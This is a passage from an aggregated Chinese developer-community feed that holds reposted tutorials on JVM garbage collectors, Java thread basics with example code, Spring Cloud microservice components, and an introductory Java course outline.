        Parallel Scavenge 收集器也是使用复制算法的多线程收集器,它看上去几乎和ParNew都一样。 那么它有什么特别之处呢?

        -XX:+UseParallelGC 
        
            使用 Parallel 收集器+ 老年代串行
        
        -XX:+UseParallelOldGC
        
            使用 Parallel 收集器+ 老年代并行
        
        

        Parallel Scavenge 收集器关注点是吞吐量(高效率的利用 CPU)。CMS 等垃圾收集器的关注点更多的是用户线程的停顿时间(提高用户体验)。所谓吞吐量就是 CPU 中用于运行用户代码的时间与 CPU 总消耗时间的比值。 Parallel Scavenge 收集器提供了很多参数供用户找到最合适的停顿时间或最大吞吐量,如果对于收集器运作不太了解的话,手工优化存在困难的话可以选择把内存管理优化交给虚拟机去完成也是一个不错的选择。

        新生代采用复制算法,老年代采用标记-整理算法。
        image.png

        4.4.Serial Old 收集器

        Serial 收集器的老年代版本,它同样是一个单线程收集器。它主要有两大用途:一种用途是在 JDK1.5 以及以前的版本中与 Parallel Scavenge 收集器搭配使用,另一种用途是作为 CMS 收集器的后备方案。

        4.5 Parallel Old 收集器

        Parallel Scavenge 收集器的老年代版本。使用多线程和“标记-整理”算法。在注重吞吐量以及 CPU 资源的场合,都可以优先考虑 Parallel Scavenge 收集器和 Parallel Old 收集器。

        4.6 CMS 收集器

        CMS(Concurrent Mark Sweep)收集器是一种以获取最短回收停顿时间为目标的收集器。它非常符合在注重用户体验的应用上使用。

        CMS(Concurrent Mark Sweep)收集器是 HotSpot 虚拟机第一款真正意义上的并发收集器,它第一次实现了让垃圾收集线程与用户线程(基本上)同时工作。

        从名字中的Mark Sweep这两个词可以看出,CMS 收集器是一种 “标记-清除”算法实现的,它的运作过程相比于前面几种垃圾收集器来说更加复杂一些。整个过程分为四个步骤:

        初始标记: 暂停所有的其他线程,并记录下直接与 root 相连的对象,速度很快 ;

        并发标记: 同时开启 GC 和用户线程,用一个闭包结构去记录可达对象。但在这个阶段结束,这个闭包结构并不能保证包含当前所有的可达对象。因为用户线程可能会不断的更新引用域,所以 GC 线程无法保证可达性分析的实时性。所以这个算法里会跟踪记录这些发生引用更新的地方。

        重新标记: 重新标记阶段就是为了修正并发标记期间因为用户程序继续运行而导致标记产生变动的那一部分对象的标记记录,这个阶段的停顿时间一般会比初始标记阶段的时间稍长,远远比并发标记阶段时间短

        并发清除: 开启用户线程,同时 GC 线程开始对为标记的区域做清扫。

        image.png

        从它的名字就可以看出它是一款优秀的垃圾收集器,主要优点:并发收集、低停顿。但是它有下面三个明显的缺点:

        对 CPU 资源敏感;

        无法处理浮动垃圾;

        它使用的回收算法-“标记-清除”算法会导致收集结束时会有大量空间碎片产生。

        4.7 G1 收集器

        G1 (Garbage-First) 是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足 GC 停顿时间要求的同时,还具备高吞吐量性能特征.

        被视为 JDK1.7 中 HotSpot 虚拟机的一个重要进化特征。它具备一下特点:

        并行与并发:G1 能充分利用 CPU、多核环境下的硬件优势,使用多个 CPU(CPU 或者 CPU 核心)来缩短 Stop-The-World 停顿时间。部分其他收集器原本需要停顿 Java 线程执行的 GC 动作,G1 收集器仍然可以通过并发的方式让 java 程序继续执行。

        分代收集:虽然 G1 可以不需要其他收集器配合就能独立管理整个 GC 堆,但是还是保留了分代的概念。

        空间整合:与 CMS 的“标记--清理”算法不同,G1 从整体来看是基于“标记整理”算法实现的收集器;从局部上来看是基于“复制”算法实现的。

        可预测的停顿:这是 G1 相对于 CMS 的另一个大优势,降低停顿时间是 G1 和 CMS 共同的关注点,但 G1 除了追求低停顿外,还能建立可预测的停顿时间模型,能让使用者明确指定在一个长度为 M 毫秒的时间片段内。

        G1 收集器的运作大致分为以下几个步骤:

        初始标记

        并发标记

        最终标记

        筛选回收

        G1 收集器在后台维护了一个优先列表,每次根据允许的收集时间,优先选择回收价值最大的 Region(这也就是它的名字 Garbage-First 的由来)。这种使用 Region 划分内存空间以及有优先级的区域回收方式,保证了 GF 收集器在有限时间内可以尽可能高的收集效率(把内存化整为零)。

        作者:SnailClimb
        链接:https://juejin.im/post/5df8c1de6fb9a0164423dbb3
        来源:掘金

        ]]>
        Java 线程基础必备知识-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、线程简介

        什么是进程?

        简言之,进程可视为一个正在运行的程序。它是系统运行程序的基本单位,因此进程是动态的。进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动。进程是操作系统进行资源分配的基本单位。

        什么是线程?

        线程是操作系统进行调度的基本单位。线程也叫轻量级进程(Light Weight Process),在一个进程里可以创建多个线程,这些线程都拥有各自的计数器、堆栈和局部变量等属性,并且能够访问共享的内存变量。

        进程和线程的区别

        一个程序至少有一个进程,一个进程至少有一个线程。
        线程比进程划分更细,所以执行开销更小,并发性更高。
        进程是一个实体,拥有独立的资源;而同一个进程中的多个线程共享进程的资源。

        二、线程基本用法

        线程(Thread)基本方法清单:

        image.png

        创建线程

        创建线程有三种方式:

        继承 Thread 类

        实现 Runnable 接口

        实现 Callable 接口

        继承 Thread 类

        通过继承 Thread 类创建线程的步骤:

        定义 Thread 类的子类,并覆写该类的 run 方法。run 方法的方法体就代表了线程要完成的任务,因此把 run 方法称为执行体。

        创建 Thread 子类的实例,即创建了线程对象。

        调用线程对象的 start 方法来启动该线程。

        public class ThreadDemo {
        
            public static void main(String[] args) {
                // 实例化对象
                MyThread tA = new MyThread("Thread 线程-A");
                MyThread tB = new MyThread("Thread 线程-B");
                // 调用线程主体
                tA.start();
                tB.start();
            }
        
            static class MyThread extends Thread {
        
                private int ticket = 5;
        
                MyThread(String name) {
                    super(name);
                }
        
                @Override
                public void run() {
                    while (ticket > 0) {
                        System.out.println(Thread.currentThread().getName() + " 卖出了第 " + ticket + " 张票");
                        ticket--;
                    }
                }
        
            }
        
        }
        

        实现 Runnable 接口

        实现 Runnable 接口优于继承 Thread 类,因为:

        Java 不支持多重继承,所有的类都只允许继承一个父类,但可以实现多个接口。如果继承了 Thread 类就无法继承其它类,这不利于扩展。

        类可能只要求可执行就行,继承整个 Thread 类开销过大。

        通过实现 Runnable 接口创建线程的步骤:

        定义 Runnable 接口的实现类,并覆写该接口的 run 方法。该 run 方法的方法体同样是该线程的线程执行体。

        创建 Runnable 实现类的实例,并以此实例作为 Thread 的 target 来创建 Thread 对象,该 Thread 对象才是真正的线程对象。

        调用线程对象的 start 方法来启动该线程。

        public class RunnableDemo {
        
            public static void main(String[] args) {
                // 实例化对象
                Thread tA = new Thread(new MyThread(), "Runnable 线程-A");
                Thread tB = new Thread(new MyThread(), "Runnable 线程-B");
                // 调用线程主体
                tA.start();
                tB.start();
            }
        
            static class MyThread implements Runnable {
        
                private int ticket = 5;
        
                @Override
                public void run() {
                    while (ticket > 0) {
                        System.out.println(Thread.currentThread().getName() + " 卖出了第 " + ticket + " 张票");
                        ticket--;
                    }
                }
        
            }
        
        }
        

        实现 Callable 接口

        继承 Thread 类 和 实现 Callable 接口这两种创建线程的方式都没有返回值。所以,线程执行完后,无法得到执行结果。但如果期望得到执行结果该怎么做?

        为了解决这个问题,Java 1.5 后,提供了 Callable 接口和 Future 接口,通过它们,可以在线程执行结束后,返回执行结果。

        通过实现 Callable 接口创建线程的步骤:

        1、创建 Callable 接口的实现类,并实现 call 方法。该 call 方法将作为线程执行体,并且有返回值。

        2、创建 Callable 实现类的实例,使用 FutureTask 类来包装 Callable 对象,该 FutureTask 对象封装了该 Callable 对象的 call 方法的返回值。

        3、使用 FutureTask 对象作为 Thread 对象的 target 创建并启动新线程。

        4、调用 FutureTask 对象的 get 方法来获得线程执行结束后的返回值。

        public class CallableDemo {
        
            public static void main(String[] args) {
                Callable<Long> callable = new MyThread();
                FutureTask<Long> future = new FutureTask<>(callable);
                new Thread(future, "Callable 线程").start();
                try {
                    System.out.println("任务耗时:" + (future.get() / 1000000) + "毫秒");
                } catch (InterruptedException | ExecutionException e) {
                    e.printStackTrace();
                }
            }
        
            static class MyThread implements Callable<Long> {
        
                private int ticket = 10000;
        
                @Override
                public Long call() {
                    long begin = System.nanoTime();
                    while (ticket > 0) {
                        System.out.println(Thread.currentThread().getName() + " 卖出了第 " + ticket + " 张票");
                        ticket--;
                    }
        
                    long end = System.nanoTime();
                    return (end - begin);
                }
        
            }
        
        }
        
        

        FAQ

        start 和 run 方法有什么区别

        run 方法是线程的执行体。

        start 方法会启动线程,然后 JVM 会让这个线程去执行 run 方法。

        可以直接调用 Thread 类的 run 方法么

        可以。但是如果直接调用 Thread 的 run 方法,它的行为就会和普通的方法一样。

        为了在新的线程中执行我们的代码,必须使用 Thread 的 start 方法。

        线程休眠

        使用 Thread.sleep 方法可以使得当前正在执行的线程进入休眠状态。

        使用 Thread.sleep 需要向其传入一个整数值,这个值表示线程将要休眠的毫秒数。

        Thread.sleep 方法可能会抛出 InterruptedException,因为异常不能跨线程传播回 main 中,因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。

        public class ThreadSleepDemo {
        
            public static void main(String[] args) {
                new Thread(new MyThread("线程A", 500)).start();
                new Thread(new MyThread("线程B", 1000)).start();
                new Thread(new MyThread("线程C", 1500)).start();
            }
        
            static class MyThread implements Runnable {
        
                /** 线程名称 */
                private String name;
        
                /** 休眠时间 */
                private int time;
        
                private MyThread(String name, int time) {
                    this.name = name;
                    this.time = time;
                }
        
                @Override
                public void run() {
                    try {
                        // 休眠指定的时间
                        Thread.sleep(this.time);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    System.out.println(this.name + "休眠" + this.time + "毫秒。");
                }
        
            }
        
        }
        

        线程礼让

        Thread.yield 方法的调用声明了当前线程已经完成了生命周期中最重要的部分,可以切换给其它线程来执行 。

        该方法只是对线程调度器的一个建议,而且也只是建议具有相同优先级的其它线程可以运行。

        public class ThreadYieldDemo {
        
            public static void main(String[] args) {
                MyThread t = new MyThread();
                new Thread(t, "线程A").start();
                new Thread(t, "线程B").start();
            }
        
            static class MyThread implements Runnable {
        
                @Override
                public void run() {
                    for (int i = 0; i < 5; i++) {
                        try {
                            Thread.sleep(1000);
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                        System.out.println(Thread.currentThread().getName() + "运行,i = " + i);
                        if (i == 2) {
                            System.out.print("线程礼让:");
                            Thread.yield();
                        }
                    }
                }
            }
        }
        
        

        终止线程

        Thread 中的 stop 方法有缺陷,已废弃。

        使用 Thread.stop 停止线程会导致它解锁所有已锁定的监视器(由于未经检查的 ThreadDeath 异常会在堆栈中传播,这是自然的结果)。 如果先前由这些监视器保护的任何对象处于不一致状态,则损坏的对象将对其他线程可见,从而可能导致任意行为。Thread.stop 的许多用法应由仅修改某些变量以指示目标线程应停止运行的代码代替。 目标线程应定期检查此变量,如果该变量指示要停止运行,则应按有序方式从其运行方法返回。如果目标线程等待很长时间(例如,在条件变量上),则应使用中断方法来中断等待。

        当一个线程运行时,另一个线程可以直接通过 interrupt 方法中断其运行状态。

        public class ThreadInterruptDemo {
        
            public static void main(String[] args) {
                MyThread mt = new MyThread(); // 实例化Runnable子类对象
                Thread t = new Thread(mt, "线程"); // 实例化Thread对象
                t.start(); // 启动线程
                try {
                    Thread.sleep(2000); // 线程休眠2秒
                } catch (InterruptedException e) {
                    System.out.println("3、休眠被终止");
                }
                t.interrupt(); // 中断线程执行
            }
        
            static class MyThread implements Runnable {
        
                @Override
                public void run() {
                    System.out.println("1、进入run()方法");
                    try {
                        Thread.sleep(10000); // 线程休眠10秒
                        System.out.println("2、已经完成了休眠");
                    } catch (InterruptedException e) {
                        System.out.println("3、休眠被终止");
                        return; // 返回调用处
                    }
                    System.out.println("4、run()方法正常结束");
                }
            }
        }
        

        如果一个线程的 run 方法执行一个无限循环,并且没有执行 sleep 等会抛出 InterruptedException 的操作,那么调用线程的 interrupt 方法就无法使线程提前结束。

        但是调用 interrupt 方法会设置线程的中断标记,此时调用 interrupted 方法会返回 true。因此可以在循环体中使用 interrupted 方法来判断线程是否处于中断状态,从而提前结束线程。

        安全地终止线程有两种方法:

        定义 volatile 标志位,在 run 方法中使用标志位控制线程终止

        使用 interrupt 方法和 Thread.interrupted 方法配合使用来控制线程终止

        示例:使用 volatile 标志位控制线程终止

        public class ThreadStopDemo2 {
        
            public static void main(String[] args) throws Exception {
                MyTask task = new MyTask();
                Thread thread = new Thread(task, "MyTask");
                thread.start();
                TimeUnit.MILLISECONDS.sleep(50);
                task.cancel();
            }
        
            private static class MyTask implements Runnable {
        
                private volatile boolean flag = true;
        
                private volatile long count = 0L;
        
                @Override
                public void run() {
                    System.out.println(Thread.currentThread().getName() + " 线程启动");
                    while (flag) {
                        System.out.println(count++);
                    }
                    System.out.println(Thread.currentThread().getName() + " 线程终止");
                }
        
                /**
                 * 通过 volatile 标志位来控制线程终止
                 */
                public void cancel() {
                    flag = false;
                }
        
            }
        
        }
        

        示例:使用 interrupt 方法和 Thread.interrupted 方法配合使用来控制线程终止

        public class ThreadStopDemo3 {
        
            public static void main(String[] args) throws Exception {
                MyTask task = new MyTask();
                Thread thread = new Thread(task, "MyTask");
                thread.start();
                TimeUnit.MILLISECONDS.sleep(50);
                thread.interrupt();
            }
        
            private static class MyTask implements Runnable {
        
                private volatile long count = 0L;
        
                @Override
                public void run() {
                    System.out.println(Thread.currentThread().getName() + " 线程启动");
                    // 通过 Thread.interrupted 和 interrupt 配合来控制线程终止
                    while (!Thread.interrupted()) {
                        System.out.println(count++);
                    }
                    System.out.println(Thread.currentThread().getName() + " 线程终止");
                }
            }
        }
        

        守护线程

        什么是守护线程?

        守护线程(Daemon Thread)是在后台执行并且不会阻止 JVM 终止的线程。当所有非守护线程结束时,程序也就终止,同时会杀死所有守护线程。

        与守护线程(Daemon Thread)相反的,叫用户线程(User Thread),也就是非守护线程。

        为什么需要守护线程?

        守护线程的优先级比较低,用于为系统中的其它对象和线程提供服务。典型的应用就是垃圾回收器。
        **
        如何使用守护线程?**

        可以使用 isDaemon 方法判断线程是否为守护线程。

        可以使用 setDaemon 方法设置线程为守护线程。

        正在运行的用户线程无法设置为守护线程,所以 setDaemon 必须在 thread.start 方法之前设置,否则会抛出 llegalThreadStateException 异常;

        一个守护线程创建的子线程依然是守护线程。

        不要认为所有的应用都可以分配给守护线程来进行服务,比如读写操作或者计算逻辑。

        public class ThreadDaemonDemo {
        
            public static void main(String[] args) {
                Thread t = new Thread(new MyThread(), "线程");
                t.setDaemon(true); // 此线程在后台运行
                System.out.println("线程 t 是否是守护进程:" + t.isDaemon());
                t.start(); // 启动线程
            }
        
            static class MyThread implements Runnable {
        
                @Override
                public void run() {
                    while (true) {
                        System.out.println(Thread.currentThread().getName() + "在运行。");
                    }
                }
            }
        }
        

        **
        FAQ**

        sleep、yield、join 方法有什么区别

        yield 方法

        yield 方法会 让线程从 Running 状态转入 Runnable 状态。

        当调用了 yield 方法后,只有与当前线程相同或更高优先级的Runnable 状态线程才会获得执行的机会。

        sleep 方法

        sleep 方法会 让线程从 Running 状态转入 Waiting 状态。
        sleep 方法需要指定等待的时间,超过等待时间后,JVM 会将线程从 Waiting 状态转入 Runnable 状态。

        当调用了 sleep 方法后,无论什么优先级的线程都可以得到执行机会。

        sleep 方法不会释放“锁标志”,也就是说如果有 synchronized 同步块,其他线程仍然不能访问共享数据。

        join

        join 方法会 让线程从 Running 状态转入 Waiting 状态。
        当调用了 join 方法后,当前线程必须等待调用 join 方法的线程结束后才能继续执行。

        **
        为什么 sleep 和 yield 方法是静态的**

        Thread 类的 sleep 和 yield 方法将处理 Running 状态的线程。

        所以在其他处于非 Running 状态的线程上执行这两个方法是没有意义的。这就是为什么这些方法是静态的。它们可以在当前正在执行的线程中工作,并避免程序员错误的认为可以在其他非运行线程调用这些方法。

        Java 线程是否按照线程优先级严格执行

        即使设置了线程的优先级,也无法保证高优先级的线程一定先执行。

        原因在于线程优先级依赖于操作系统的支持,然而,不同的操作系统支持的线程优先级并不相同,不能很好的和 Java 中线程优先级一一对应。

        三、线程间通信

        当多个线程可以一起工作去解决某个问题时,如果某些部分必须在其它部分之前完成,那么就需要对线程进行协调。

        wait/notify/notifyAll

        wait - wait 方法使得线程释放其占有的对象锁,让线程从 Running 状态转入 Waiting 状态,并等待 notify / notifyAll 来唤醒 。如果没有释放锁,那么其它线程就无法进入对象的同步方法或者同步控制块中,那么就无法执行 notify 或者 notifyAll 来唤醒挂起的线程,造成死锁。
        notify - 唤醒一个正在 Waiting 状态的线程,并让它拿到对象锁,具体唤醒哪一个线程由 JVM 控制 。
        notifyAll - 唤醒所有正在 Waiting 状态的线程,接下来它们需要竞争对象锁。

        注意:

        wait、notify、notifyAll 都是 Object 类中的方法,而非 Thread。

        wait、notify、notifyAll 只能用在 synchronized 方法或者 synchronized 代码块中使用,否则会在运行时抛出 IllegalMonitorStateException。

        为什么 wait、notify、notifyAll 不定义在 Thread 中?为什么 wait、notify、notifyAll 要配合 synchronized 使用?

        首先,需要了解几个基本知识点:

        每一个 Java 对象都有一个与之对应的 监视器(monitor)
        每一个监视器里面都有一个 对象锁 、一个 等待队列、一个 同步队列

        了解了以上概念,我们回过头来理解前面两个问题。

        为什么这几个方法不定义在 Thread 中?

        由于每个对象都拥有对象锁,让当前线程等待某个对象锁,自然应该基于这个对象(Object)来操作,而非使用当前线程(Thread)来操作。因为当前线程可能会等待多个线程的锁,如果基于线程(Thread)来操作,就非常复杂了。

        为什么 wait、notify、notifyAll 要配合 synchronized 使用?

        如果调用某个对象的 wait 方法,当前线程必须拥有这个对象的对象锁,因此调用 wait 方法必须在 synchronized 方法和 synchronized 代码块中。

        生产者、消费者模式是 wait、notify、notifyAll 的一个经典使用案例:

        public class ThreadWaitNotifyDemo02 {
        
            private static final int QUEUE_SIZE = 10;
            private static final PriorityQueue<Integer> queue = new PriorityQueue<>(QUEUE_SIZE);
        
            public static void main(String[] args) {
                new Producer("生产者A").start();
                new Producer("生产者B").start();
                new Consumer("消费者A").start();
                new Consumer("消费者B").start();
            }
        
            static class Consumer extends Thread {
        
                Consumer(String name) {
                    super(name);
                }
        
                @Override
                public void run() {
                    while (true) {
                        synchronized (queue) {
                            while (queue.size() == 0) {
                                try {
                                    System.out.println("队列空,等待数据");
                                    queue.wait();
                                } catch (InterruptedException e) {
                                    e.printStackTrace();
                                    queue.notifyAll();
                                }
                            }
                            queue.poll(); // 每次移走队首元素
                            queue.notifyAll();
                            try {
                                Thread.sleep(500);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                            System.out.println(Thread.currentThread().getName() + " 从队列取走一个元素,队列当前有:" + queue.size() + "个元素");
                        }
                    }
                }
            }
        
            static class Producer extends Thread {
        
                Producer(String name) {
                    super(name);
                }
        
                @Override
                public void run() {
                    while (true) {
                        synchronized (queue) {
                            while (queue.size() == QUEUE_SIZE) {
                                try {
                                    System.out.println("队列满,等待有空余空间");
                                    queue.wait();
                                } catch (InterruptedException e) {
                                    e.printStackTrace();
                                    queue.notifyAll();
                                }
                            }
                            queue.offer(1); // 每次插入一个元素
                            queue.notifyAll();
                            try {
                                Thread.sleep(500);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                            System.out.println(Thread.currentThread().getName() + " 向队列取中插入一个元素,队列当前有:" + queue.size() + "个元素");
                        }
                    }
                }
            }
        }
        

        join

        在线程操作中,可以使用 join 方法让一个线程强制运行,线程强制运行期间,其他线程无法运行,必须等待此线程完成之后才可以继续执行。

        public class ThreadJoinDemo {
        
            public static void main(String[] args) {
                MyThread mt = new MyThread(); // 实例化Runnable子类对象
                Thread t = new Thread(mt, "mythread"); // 实例化Thread对象
                t.start(); // 启动线程
                for (int i = 0; i < 50; i++) {
                    if (i > 10) {
                        try {
                            t.join(); // 线程强制运行
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                    }
                    System.out.println("Main 线程运行 --> " + i);
                }
            }
        
            static class MyThread implements Runnable {
        
                @Override
                public void run() {
                    for (int i = 0; i < 50; i++) {
                        System.out.println(Thread.currentThread().getName() + " 运行,i = " + i); // 取得当前线程的名字
                    }
                }
            }
        }
        

        管道

        管道输入/输出流和普通的文件输入/输出流或者网络输入/输出流不同之处在于,它主要用于线程之间的数据传输,而传输的媒介为内存。

        管道输入/输出流主要包括了如下 4 种具体实现:

        PipedOutputStream、PipedInputStream、PipedReader 和 PipedWriter,前两种面向字节,而后两种面向字符。

        public class Piped {
        
            public static void main(String[] args) throws Exception {
                PipedWriter out = new PipedWriter();
                PipedReader in = new PipedReader();
                // 将输出流和输入流进行连接,否则在使用时会抛出IOException
                out.connect(in);
                Thread printThread = new Thread(new Print(in), "PrintThread");
                printThread.start();
                int receive = 0;
                try {
                    while ((receive = System.in.read()) != -1) {
                        out.write(receive);
                    }
                } finally {
                    out.close();
                }
            }
        
            static class Print implements Runnable {
        
                private PipedReader in;
        
                Print(PipedReader in) {
                    this.in = in;
                }
        
                public void run() {
                    int receive = 0;
                    try {
                        while ((receive = in.read()) != -1) {
                            System.out.print((char) receive);
                        }
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }
        }
        

        四、线程状态

        image.png
        java.lang.Thread.State 中定义了 6 种不同的线程状态,在

        给定的一个时刻,线程只能处于其中的一个状态。
        以下是各状态的说明,以及状态间的联系:

        新建(New) - 尚未调用 start 方法的线程处于此状态。此状态意味着:创建的线程尚未启动。

        可运行(Runnable) - 已经调用了 start 方法的线程处于此状态。此状态意味着:线程已经在 JVM 中运行。但是在操作系统层面,它可能处于运行状态,也可能等待资源调度(例如处理器资源),资源调度完成就进入运行状态。所以该状态的可运行是指可以被运行,具体有没有运行要看底层操作系统的资源调度。

        阻塞(Blocked) - 请求获取 monitor lock 从而进入 synchronized 函数或者代码块,但是其它线程已经占用了该 monitor lock,所以处于阻塞状态。要结束该状态进入 Runnable,从而需要其他线程释放 monitor lock。此状态意味着:线程处于被阻塞状态。

        等待(Waiting) - 此状态意味着:线程等待被其他线程显式地唤醒。 阻塞和等待的区别在于,阻塞是被动的,它是在等待获取 monitor lock。而等待是主动的,通过调用 Object.wait 等方法进入。

        image.png

        定时等待(Timed waiting) - 此状态意味着:无需等待其它线程显式地唤醒,在一定时间之后会被系统自动唤醒。

        image.png

        终止(Terminated) - 线程 run 方法执行结束,或者因异常退出了 run 方法。此状态意味着:线程结束了生命周期。

        作者:静默虚空

        链接:https://juejin.im/post/5e02b3d6518825127324b032

        来源:掘金

        ]]>
        一张图了解Spring Cloud微服务架构-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Spring Cloud作为当下主流的微服务框架,可以让我们更简单快捷地实现微服务架构。Spring Cloud并没有重复制造轮子,它只是将目前各家公司开发的比较成熟、经得起实际考验的服务框架组合起来,通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理,最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包。Spring Cloud中各个组件在微服务架构中扮演的角色如下图所示,黑线表示注释说明,蓝线由A指向B,表示B从A处获取服务。

        image.png

        由上图所示微服务架构大致由上图的逻辑结构组成,其包括各种微服务、注册发现、服务网关、熔断器、统一配置、跟踪服务等。下面说说Spring Cloud中的组件分别充当其中的什么角色。

        Fegin(接口调用):微服务之间通过Rest接口通讯,Spring Cloud提供Feign框架来支持Rest的调用,Feign使得不同进程的Rest接口调用得以用优雅的方式进行,这种优雅表现得就像同一个进程调用一样。

        Netflix eureka(注册发现):微服务模式下,一个大的Web应用通常都被拆分为很多比较小的Web应用(服务),这个时候就需要有一个地方保存这些服务的相关信息,才能让各个小的应用彼此知道对方,这个时候就需要在注册中心进行注册。每个应用启动时向配置的注册中心注册自己的信息(IP地址,端口号, 服务名称等信息),注册中心将他们保存起来,服务间相互调用的时候,通过服务名称就可以到注册中心找到对应的服务信息,从而进行通讯。注册与发现服务为微服务之间的调用带来了方便,解决了硬编码的问题。服务间只通过对方的服务ID,而无需知道其IP和端口即可以获取对方方服务。

        Ribbon(负载均衡):Ribbon是Netflix发布的负载均衡器,它有助于控制HTTP和TCP客户端的行为。为Ribbon,配置服务提供者的地址列表后,Ribbon就可基于某种负载均衡算法,自动地帮助服务消费者去请求。Ribbon默认为我们提供了很多的负载均衡算法,例如轮询、随机等。当然,我们也可为Ribbon实现自定义的负载均衡算法。在Spring Cloud中,当Ribbon与Eureka配合使用时,Ribbon可自动从EurekaServer获取服务提供者的地址列表,并基于负载均衡算法,请求其中一个服务提供者的实例(为了服务的可靠性,一个微服务可能部署多个实例)。

        Hystrix(熔断器):当服务提供者响应非常缓慢,那么消费者对提供者的请求就会被强制等待,直到提供者响应或超时。在高负载场景下,如果不做任何处理,此类问题可能会导致服务消费者的资源耗竭甚至整个系统的崩溃(雪崩效应)。

        Hystrix正是为了防止此类问题发生。Hystrix是由Netflix开源的一个延迟和容错库,用于隔离访问远程系统、服务或者第三方库,防止级联失败,从而提升系统的可用性与容错性。Hystrix主要通过以下几点实现延迟和容错。

        包裹请求:使用HystrixCommand(或HystrixObservableCommand)包裹对依赖的调用逻辑,每个命令在独立线程中执行。这使用了设计模式中的“命令模式”。

        跳闸机制:当某服务的错误率超过一定阈值时,Hystrix可以自动或者手动跳闸,停止请求该服务一段时间。

        资源隔离:Hystrix为每个依赖都维护了一个小型的线程池(或者信号量)。如果该线程池已满,发往该依赖的请求就被立即拒绝,而不是排队等候,从而加速失败判定。

        监控:Hystrix可以近乎实时地监控运行指标和配置的变化,例如成功、失败、超时和被拒绝的请求等。

        回退机制:当请求失败、超时、被拒绝,或当断路器打开时,执行回退逻辑。回退逻辑可由开发人员指定。

        Zuul(微服务网关):不同的微服务一般会有不同的网络地址,而外部客户端可能需要调用多个服务的接口才能完成一个业务需求。例如一个电影购票的手机APP,可能调用多个微服务的接口才能完成一次购票的业务流程,如果让客户端直接与各个微服务通信,会有以下的问题:

        客户端会多次请求不同的微服务,增加了客户端的复杂性。

        存在跨域请求,在一定场景下处理相对复杂。

        认证复杂,每个服务都需要独立认证。

        难以重构,随着项目的迭代,可能需要重新划分微服务。例如,可能将多个服务合并成一个或者将一个服务拆分成多个。如果客户端直接与微服务通信,那么重构将很难实施。

        某些微服务可能使用了对防火墙/浏览器不友好的协议,直接访问时会有一定的困难。

        以上问题可借助微服务网关解决。微服务网关是介于客户端和服务器端之间的中间层,所有的外部请求都会先经过微服务网关。使用微服务网关后,微服务网关将封装应用程序的内部结构,客户端只用跟网关交互,而无须直接调用特定微服务的接口。这样,开发就可以得到简化。不仅如此,使用微服务网关还有以下优点:

        易于监控。可在微服务网关收集监控数据并将其推送到外部系统进行分析。

        易于认证。可在微服务网关上进行认证,然后再将请求转发到后端的微服务,而无须在每个微服务中进行认证。

        减少了客户端与各个微服务之间的交互次数。

        Spring Cloud Config( 统一配置服务):对于传统的单体应用,常使用配置文件管理所有配置。例如一个SpringBoot开发的单体应用,可将配置内容放在application.yml文件中。如果需要切换环境,可设置多个Profile,并在启动应用时指定spring.profiles.active={profile}。然而,在微服务架构中,微服务的配置管理一般有以下需求:

        集中管理配置。一个使用微服务架构的应用系统可能会包含成百上千个微服务,因此集中管理配置是非常有必要的。

        不同环境,不同配置。例如,数据源配置在不同的环境(开发、测试、预发布、生产等)中是不同的。

        运行期间可动态调整。例如,可根据各个微服务的负载情况,动态调整数据源连接池大小或熔断阈值,并且在调整配置时不停止微服务。

        配置修改后可自动更新。如配置内容发生变化,微服务能够自动更新配置。综上所述,对于微服务架构而言,一个通用的配置管理机制是必不可少的,常见做法是使用配置服务器管理配置。Spring Cloud Bus利用Git或SVN等管理配置、采用Kafka或者RabbitMQ等消息总线通知所有应用,从而实现配置的自动更新并且刷新所有微服务实例的配置。

        Sleuth+ZipKin(跟踪服务):Sleuth和Zipkin结合使用可以通过图形化的界面查看微服务请求的延迟情况以及各个微服务的依赖情况。需要注意的是Spring Boot 2及以上不在支持Zipkin的自定义,需要到官方网站下载ZipKin相关的jar包。另外需要提一点的是Spring Boot Actuator,提供了很多监控端点如/actuator/info、/actuator/health、/acutator/refresh等,可以查看微服务的信息、健康状况、刷新配置等。

        作者:风平浪静如马

        链接:https://juejin.im/post/5dff6486518825124f53beb6

        来源:掘金

        ]]>
        实际教学简单Java类 | 开发者进阶站-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看视频课程
        Java语言最大的特点在于面向对象的编程设计,并且面向对象的编程设计也在由于Java自身的发展而不断发展,同时,很多最初不支持面向对象的编程也都开始转向了面向对象。

        先从简单Java类开始,带你慢慢探索Java进阶之旅,快来开始我们的学习吧!

        触摸Java世界的核心:类与对象

        所谓的面向过程指的是面对于一个问题的解决方案,更多的情况下是不会做出重用的设计思考的,而面向对象的主要的设计形式为模块化设计,并且可以进行重用配置。在整个的面向对象的设计里面更多情况下考虑的是标准,而在使用的时候根据标准进行拼装。
        【本节目标】
        本章重点讲解面向对象编程的编程思想,重点需要掌握类与对象的相关概念,包括定义、声明、使用等,类与对象是面向编程的重要概念,不了解类与对象,就不能说会使用Java语言。

        点击学习>>

        带你“找对象”--Java内存分析

        Java之中类属于引用数据类型,引用数据类型最大的困难之处在于要进行内存的管理,同时在进行操作的时候也会发生有内存关系的变化,所以本次针对于之前的程序的内存关系进行一些简单的分析。
        【本节目标】
        本章深入浅出,结合实例带你了解新建对象的过程中在物理内存上发生的故事,理解通过内存管理实现引用数据类型的流畅使用。通过本章,你将初步了解到堆内存、栈内存相关的知识,学会从内存上分析创建对象的原理,明白通过堆栈地址相互联系实现引用数据类型数据的调用原理。
        点击学习>>

        对象“变形记”——初识引用与GC

        作为Java世界的核心内容,类与对象凭借其引用数据类型的内在特质,实现了引用传递的能力,为整个Java世界添上了浓墨重彩的一笔。
        【本节目标】
        通过阅读本章,你将通过多组实例从内存上深度了解通过对象声明、方法调用等方法进行引用传递的原理,并深刻理解引用为何会产生内存垃圾以及GC机制的相关内容。
